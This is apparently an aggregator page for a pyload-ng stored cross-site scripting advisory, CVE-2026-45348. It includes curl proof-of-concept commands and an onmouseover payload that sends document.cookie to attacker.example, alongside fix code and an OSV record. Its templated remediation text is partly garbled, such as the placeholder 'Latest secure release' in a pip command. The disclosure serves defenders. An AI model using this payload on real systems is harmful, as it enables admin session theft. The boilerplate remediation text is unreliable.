CVE-2026-45348: Pyload ng Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-fcjq-435v-jx94
CVSS 8.7
CWE-79
Published
Advisory Summary

CVE-2026-45348 is a HIGH (CVSS 8.7) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Pyload ng libraries in the PyPI ecosystem. The issue involves pyload is vulnerable to stored xss in downloads view via unsanitized link url in packages.js template literal. Remediation is available in the latest vendor maintenance releases.

CVE-2026-45348 at a Glance

CVE Identifier CVE-2026-45348
GHSA Identifier GHSA-fcjq-435v-jx94
Severity HIGH
CVSS v3.1 Base Score 8.7
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Pyload ng
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-45348

To remediate this vulnerability, upgrade all affected Pyload ng dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pyload-ng fixed: Latest secure release
pip install pyload-ng>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pyload-ng

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-45348, inspect your installed packages using pip:

pip show pyload-ng

Analyze the terminal output to locate any version of Pyload ng in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Pyload ng, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `packages.js` template at `src/pyload/webui/app/themes/modern/templates/js/packages.js:172` interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via `$(div).html(html)`. No escaping runs between the API value and `innerHTML`. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers. ## Details **Sink**: `src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188`: ```javascript const html = ` <span class='child_status'> <span style='margin-right: 2px;color: #337ab7;' class='${link.icon}'></span> </span> <span style='font-size: 16px; font-weight: bold;'> <a onclick='return false' href='${link.url}'>${link.name}</a> </span><br/> <div class='child_secrow' ...> <span class='child_status' ...>${link.statusmsg}</span>&nbsp;${link.error}&nbsp; <span class='child_status' ...>${link.format_size}</span> <span class='child_status' ...> ${link.plugin}</span>... </div>`; const div = document.createElement("div"); $(div).attr("id", `file_${link.id}`); $(div).css("padding-left", "30px"); $(div).css("cursor", "grab"); $(div).addClass("child"); $(div).html(html); ``` `link.url` flows in from `/api/get_package_data`, which returns the URL exactly as stored. Seven other fields on the same element (`link.name`, `link.statusmsg`, `link.error`, `link.format_size`, `link.plugin`, `link.icon`, `link.id`) share the same unescaped injection surface. **Source**: `src/pyload/core/api/__init__.py:541-600` (`add_package`) and the `/api/add_package` JSON route store the attacker-supplied `links` list without HTML escaping. The `add_package` URL sanitizer only strips `http://`, `https://`, `../`, `..\\`, `:`, and `/` from the folder *name*, not the link URL itself. **Mitigation gap**: `src/pyload/webui/app/__init__.py:63-72` sets security headers but has no `Content-Security-Policy` header. The only script-related header is `X-XSS-Protection`, which is a no-op on modern browsers. ## Proof of Concept **Actor**: Alice (authenticated user with `Perms.ADD`). Reproduces against pyload 0.5.0-dev at `f081a16`. ```bash TARGET="http://<pyload-host>:<port>" # Alice logs in. CSRF=$(curl -sS -c /tmp/alice.jar "$TARGET/login" | grep -oP 'name="csrf_token" value="\K[^"]+') curl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST "$TARGET/login" \ -d "csrf_token=$CSRF&do=login&username=alice&password=alice123" -o /dev/null API_CSRF=$(curl -sS -b /tmp/alice.jar "$TARGET/" | grep -oP 'name="csrf-token" content="\K[^"]+') # Alice creates a package whose link URL breaks out of the href attribute # and installs an onmouseover payload. curl -sS -b /tmp/alice.jar -X POST "$TARGET/api/add_package" \ -H "X-CSRFToken: $API_CSRF" -H "Content-Type: application/json" \ -d $'{"name":"xss-pkg","links":["http://x\' onmouseover=\'fetch(`//attacker.example/`+document.cookie)"]}' ``` The package lands in the collector (the default destination). Alice can also pass `"dest":1` to place it in the queue instead. Both `/collector` and `/queue` render the same `packages.html` template, which loads `packages.js`. When any user (including the admin `pyload`) opens `/collector` or `/queue` and hovers the injected file row, the browser parses the anchor as: ```html <a onclick='return false' href='http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)'>http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)</a> ``` The `onmouseover` handler fires on hover and exfiltrates the session cookie. A `javascript:` URL in the `href` triggers on click without hover. ## Impact Any user who can reach `/api/add_package` (which covers the `Perms.ADD` role, the common baseline for operator users) plants JavaScript that runs in an admin's browser the next time that admin opens the downloads view. The admin's session cookie is in the same origin, so Alice receives it directly. Holding the admin cookie, Alice hits every admin-only endpoint: arbitrary plugin upload, configuration rewrite, reconnect-script RCE, and so on. The attack is stored, persists across reboots, and does not require any interaction from the victim beyond visiting `/collector` or `/queue`, the two pages operators use constantly. The CNL Blueprint exposes a sibling attack surface: when pyload runs with the ClickNLoad handler enabled, an unauthenticated network attacker calls `POST /flash/add` with the same injected URL and reaches the same sink without logging in. `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` (High, 8.3). CWE-79. ## Recommended Fix Two changes. First, escape every `${link.*}` interpolation in the template. jQuery's `.text()` escapes by default; structure the render so attacker-controlled strings never reach `.html()`: ```javascript const a = $("<a/>").attr("href", link.url).text(link.name); const status = $("<span/>").text(link.statusmsg); // ... build the DOM with .text() / .attr() calls ... $(div).append(a).append(status); ``` If keeping the template-literal style, at minimum wrap every `${link.*}` in a helper that HTML-escapes: ```javascript const esc = (s) => String(s).replace(/&/g, "&amp;").replace(/</g, "&lt;") .replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#39;"); ``` Second, deploy a strict CSP. `default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'` kills the inline-handler class entirely, and pyload's own assets already load from `'self'`. Audit the sibling templates (`queue.js`, `dashboard.js`, all admin themes) for the same pattern. --- *Found by [aisafe.io](https://aisafe.io)*

CVE-2026-45348 Affected Pyload ng Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
pyload-ng
PyPI
≤ 0.5.0b3.dev99

References

Frequently Asked Questions

What is CVE-2026-45348?
CVE-2026-45348 is a security vulnerability in Pyload ng involving pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Pyload ng versions are affected?
Affected versions include releases prior to current release patches across affected packages: pyload-ng.
What version fixes CVE-2026-45348?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is pyload-ng affected?
Yes, pyload-ng is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-45348?
CVE-2026-45348 has a CVSS v3.1 base score of 8.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-45348?
CVE-2026-45348 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check PyPI dependencies for CVE-2026-45348?
Run the dependency tree command: 'pip show pyload-ng'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fcjq-435v-jx94",
  "modified" : "2026-06-09T10:19:51Z",
  "published" : "2026-05-14T20:23:51Z",
  "aliases" : [ "CVE-2026-45348" ],
  "summary" : "pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal",
  "details" : "## Summary\n\nThe `packages.js` template at `src/pyload/webui/app/themes/modern/templates/js/packages.js:172` interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via `$(div).html(html)`. No escaping runs between the API value and `innerHTML`. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.\n\n## Details\n\n**Sink**: `src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188`:\n\n```javascript\nconst html = `\n    <span class='child_status'>\n      <span style='margin-right: 2px;color: #337ab7;' class='${link.icon}'></span>\n    </span>\n    <span style='font-size: 16px; font-weight: bold;'>\n      <a onclick='return false' href='${link.url}'>${link.name}</a>\n    </span><br/>\n    <div class='child_secrow' ...>\n      <span class='child_status' ...>${link.statusmsg}</span>&nbsp;${link.error}&nbsp;\n      <span class='child_status' ...>${link.format_size}</span>\n      <span class='child_status' ...> ${link.plugin}</span>...\n    </div>`;\n\nconst div = document.createElement(\"div\");\n$(div).attr(\"id\", `file_${link.id}`);\n$(div).css(\"padding-left\", \"30px\");\n$(div).css(\"cursor\", \"grab\");\n$(div).addClass(\"child\");\n$(div).html(html);\n```\n\n`link.url` flows in from `/api/get_package_data`, which returns the URL exactly as stored. Seven other fields on the same element (`link.name`, `link.statusmsg`, `link.error`, `link.format_size`, `link.plugin`, `link.icon`, `link.id`) share the same unescaped injection surface.\n\n**Source**: `src/pyload/core/api/__init__.py:541-600` (`add_package`) and the `/api/add_package` JSON route store the attacker-supplied `links` list without HTML escaping. The `add_package` URL sanitizer only strips `http://`, `https://`, `../`, `..\\\\`, `:`, and `/` from the folder *name*, not the link URL itself.\n\n**Mitigation gap**: `src/pyload/webui/app/__init__.py:63-72` sets security headers but has no `Content-Security-Policy` header. The only script-related header is `X-XSS-Protection`, which is a no-op on modern browsers.\n\n## Proof of Concept\n\n**Actor**: Alice (authenticated user with `Perms.ADD`). Reproduces against pyload 0.5.0-dev at `f081a16`.\n\n```bash\nTARGET=\"http://<pyload-host>:<port>\"\n\n# Alice logs in.\nCSRF=$(curl -sS -c /tmp/alice.jar \"$TARGET/login\" | grep -oP 'name=\"csrf_token\" value=\"\\K[^\"]+')\ncurl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST \"$TARGET/login\" \\\n    -d \"csrf_token=$CSRF&do=login&username=alice&password=alice123\" -o /dev/null\nAPI_CSRF=$(curl -sS -b /tmp/alice.jar \"$TARGET/\" | grep -oP 'name=\"csrf-token\" content=\"\\K[^\"]+')\n\n# Alice creates a package whose link URL breaks out of the href attribute\n# and installs an onmouseover payload.\ncurl -sS -b /tmp/alice.jar -X POST \"$TARGET/api/add_package\" \\\n    -H \"X-CSRFToken: $API_CSRF\" -H \"Content-Type: application/json\" \\\n    -d $'{\"name\":\"xss-pkg\",\"links\":[\"http://x\\' onmouseover=\\'fetch(`//attacker.example/`+document.cookie)\"]}'\n```\n\nThe package lands in the collector (the default destination). Alice can also pass `\"dest\":1` to place it in the queue instead. Both `/collector` and `/queue` render the same `packages.html` template, which loads `packages.js`.\n\nWhen any user (including the admin `pyload`) opens `/collector` or `/queue` and hovers the injected file row, the browser parses the anchor as:\n\n```html\n<a onclick='return false' href='http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)'>http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)</a>\n```\n\nThe `onmouseover` handler fires on hover and exfiltrates the session cookie. A `javascript:` URL in the `href` triggers on click without hover.\n\n## Impact\n\nAny user who can reach `/api/add_package` (which covers the `Perms.ADD` role, the common baseline for operator users) plants JavaScript that runs in an admin's browser the next time that admin opens the downloads view. The admin's session cookie is in the same origin, so Alice receives it directly. Holding the admin cookie, Alice hits every admin-only endpoint: arbitrary plugin upload, configuration rewrite, reconnect-script RCE, and so on. The attack is stored, persists across reboots, and does not require any interaction from the victim beyond visiting `/collector` or `/queue`, the two pages operators use constantly.\n\nThe CNL Blueprint exposes a sibling attack surface: when pyload runs with the ClickNLoad handler enabled, an unauthenticated network attacker calls `POST /flash/add` with the same injected URL and reaches the same sink without logging in.\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` (High, 8.3). CWE-79.\n\n## Recommended Fix\n\nTwo changes.\n\nFirst, escape every `${link.*}` interpolation in the template. jQuery's `.text()` escapes by default; structure the render so attacker-controlled strings never reach `.html()`:\n\n```javascript\nconst a = $(\"<a/>\").attr(\"href\", link.url).text(link.name);\nconst status = $(\"<span/>\").text(link.statusmsg);\n// ... build the DOM with .text() / .attr() calls ...\n$(div).append(a).append(status);\n```\n\nIf keeping the template-literal style, at minimum wrap every `${link.*}` in a helper that HTML-escapes:\n\n```javascript\nconst esc = (s) => String(s).replace(/&/g, \"&amp;\").replace(/</g, \"&lt;\")\n    .replace(/>/g, \"&gt;\").replace(/\"/g, \"&quot;\").replace(/'/g, \"&#39;\");\n```\n\nSecond, deploy a strict CSP. `default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'` kills the inline-handler class entirely, and pyload's own assets already load from `'self'`.\n\nAudit the sibling templates (`queue.js`, `dashboard.js`, all admin themes) for the same pattern.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyload-ng"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.5.0b3.dev99"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/security/advisories/GHSA-fcjq-435v-jx94"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45348"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyload/pyload"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T20:23:51Z",
    "nvd_published_at" : "2026-05-28T18:16:35Z"
  }
}